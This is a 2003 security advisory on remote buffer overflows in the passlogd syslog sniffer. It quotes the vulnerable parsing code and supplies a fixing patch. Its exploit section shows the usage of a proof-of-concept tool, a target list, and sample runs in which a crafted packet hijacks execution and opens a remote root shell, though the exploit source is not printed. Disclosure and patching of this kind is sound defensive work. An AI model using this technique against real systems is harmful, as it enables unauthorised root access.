
INetCop Security Advisory #2003-0x82-015

* Title: Remote Multiple Buffer Overflow vulnerability in passlogd sniffer.

0x01. Description

About:

passlogd(passive syslog capture daemon) is a purpose-built sniffer for capturing syslog messages in transit. This allows for backup logging to be performed on a machine with no open ports.

This program is introduced in securityfocus: <http://www.securityfocus.com/tools/2076>

Vulnerability can presume as following.

There is sl_parse() function to 33 lines of 'passlogd-0.1d/parse.c' code.

```
—
33 void sl_parse(char *user, struct pcap_pkthdr *pkthdr, u_char *pkt)
34 {
    ...
42  char level[5];
43  char message[1024];
44  char buffer[4096];
    ...
77  while(pkt[i] != '>'){
78      level[j] = pkt[i]; // First, buffer overflow happens.
79      i++;
80      j++;
81  }
82  i++;
    ...
87  while(pkt[i] != '\n' && pkt[i] != '\r' && i < (pkthdr->caplen - 1)){
```

```

88         if(debug)
89             printf("at byte %d of %d \n", i, pkthdr->caplen - 1);
90         message[z] = pkt[i]; // Second, buffer overflow happens.
91         i++;
92         z++;
93     }
    ...
103     /* built the logstring */
104     if(dflag){
105         sprintf(buffer, "%s %s \n", srcip, message); // Very dangerous.
106     }
107     else {
108         sprintf(buffer, "%s to %s: <%s> %s \n", srcip, dstip, level, message) // Similarly, is
dangerous.
;
109     }
    ... /* Role of original is like this. */
123     syslev = atoi(level);
124     openlog("passlogd", 0, LOG_DAEMON);
125     syslog(syslev, "%s", buffer);
    --

```

Visual point that change flowing of this program, happen after overwritten stack variables.
Of course, frame pointer overrun exists together.

0x02. Vulnerable Packages

Vendor site: <http://www.morphine.com/src/passlogd.html>

passlogd v0.1d

-passlogd-0.1d.tar.gz

+FreeBSD

+OpenBSD

+Linux

+Other

passlogd v0.1c

-passlogd-0.1c.tar.gz

passlogd v0.1b

-passlogd-0.1b.tar.gz

passlogd v0.1a

-passlogd-0.1a.tar.gz

0x03. Exploit

Our proof of concept code was completed.

Exhibit it sooner or later.

```
bash-2.04# ./0x82-Remote.passlogd_sniff.xpl
```

passlogd sniffer remote buffer overflow root exploit
by Xpl017Elz.

Usage: ./0x82-Remote.passlogd_sniff.xpl -option [argument]

-h - hostname.

-f - spoof src ip.

-s - &shellcode.

-l - buf len.

-t - target number.

-i - help information.

Select target number:

- {0} ALZZA Linux release 6.1 (Linux One)
- {1} WOW Linux release 6.2 (Puberty)
- {2} RedHat Linux release 7.0 (Guinness)
- {3} WOWLiNIX Release 7.1 (Paran)
- {4} RedHat Linux release 8.0 (Psyche)

Example> ./0x82-Remote.passlogd_sniff.xpl -h localhost -f82.82.82.82 -t3

Example2> ./0x82-Remote.passlogd_sniff.xpl -h localhost -s0x82828282 -l582

bash-2.04#

test exploit result: - -

#1) attacker system:

bash-2.04# ./0x82-Remote.passlogd_sniff.xpl -h61.37.xxx.xx -t2 -s0x82828282

passlogd sniffer remote buffer overflow root exploit
by Xpl017Elz.

- [0] Set packet code size.
- [1] Set protocol header.
- [2] Make shellcode.
- [3] Set rawsock.
- [4] Send packet.
- [5] Trying 61.37.xxx.xx:36864.
- [-] Connect Failed.

bash-2.04#

#2) target system:

```
[root@blah /passlogd-0.1d]# gdb -q ./passlogd
```

```
(gdb) r
```

```
Starting program: /passlogd-0.1d/./passlogd
```

```
Wed Mar 26 12:16:27 2003
```

to

: <

>

```
      r^ ) F @   F @ F N f C F f ^ F )  
F  f F N N N f  ^ CC f  V V f C   ?)   ?A  ?A  V v  K  
/bin/shd
```

```
Program received signal SIGSEGV, Segmentation fault.
```

```
0x82828282 in ?? ()
```

```
(gdb)
```

```
real exploit result: - -
```

```
bash-2.04# ./0x82-Remote.passlogd_sniff.xpl -h61.37.xxx.xx -t2
```

```
passlogd sniffer remote buffer overflow root exploit
```

```
by Xpl017Elz.
```

```
[0] Set packet code size.
[1] Set protocol header.
[2] Make shellcode.
[3] Set rawsock.
[4] Send packet.
[5] Trying 61.37.xxx.xx:36864.
[*] Connected to 61.37.xxx.xx:36864.
[*] Executed shell successfully !
```

```
Linux blah 2.4.20 #1 SMP Fri Mar 21 20:36:58 EST 2003 i686 unknown
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[root@blah /passlogd-0.1d]#
```

--

0x04. Patch

```
=== parse.patch ===
```

```
--- parse.c      Sat Jun  9 14:07:45 2001
+++ parse.patch.c  Wed Mar 26 11:48:33 2003
@@ -75,6 +75,10 @@
     j=0;

     while(pkt[i] != '>'){
+   if(j==sizeof(level) - 1)
+   {
+     break;
+   }
     level[j] = pkt[i];
     i++;
     j++;
@@ -87,6 +91,10 @@
     while(pkt[i] != '\n' && pkt[i] != '\r' && i < (pkthdr->caplen - 1)){
         if(debug)
```

```

                printf("at byte %d of %d \n", i, pktHdr->caplen - 1);
+   if(z==sizeof(message) - 1)
+   {
+       break;
+   }
    message[z] = pkt[i];
    i++;
    z++;
@@ -102,10 +110,10 @@

    /* built the logstring */
    if(dflag){
-   sprintf(buffer, "%s %s \n", srcip, message);
+   snprintf(buffer, sizeof(buffer) - 1, "%s %s \n", srcip, message);
    }
    else {
-   sprintf(buffer, "%s to %s: <%s> %s \n", srcip, dstip, level, message);
+   snprintf(buffer, sizeof(buffer) - 1, "%s to %s: <%s> %s \n", srcip, dstip, level, message);
    }

    if(debug){

=== eof ===

```

P.S: Sorry, for my poor english.

--

By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: [szoahc\(at\)hotmail\(dot\)com](mailto:szoahc@hotmail.com),
[xploit\(at\)hackermail\(dot\)com](mailto:xploit@hackermail.com)

INetCop Security Home: <http://www.inetcop.org/> (Korean hacking game)

My World: <http://x82.i21c.net/> & <http://x82.inetcop.org/>

GPG public key: [http://x82.inetcop.org/h0me/pr0file/x82.k3y](http://x82.inetcop.org/home/pr0file/x82.k3y)

--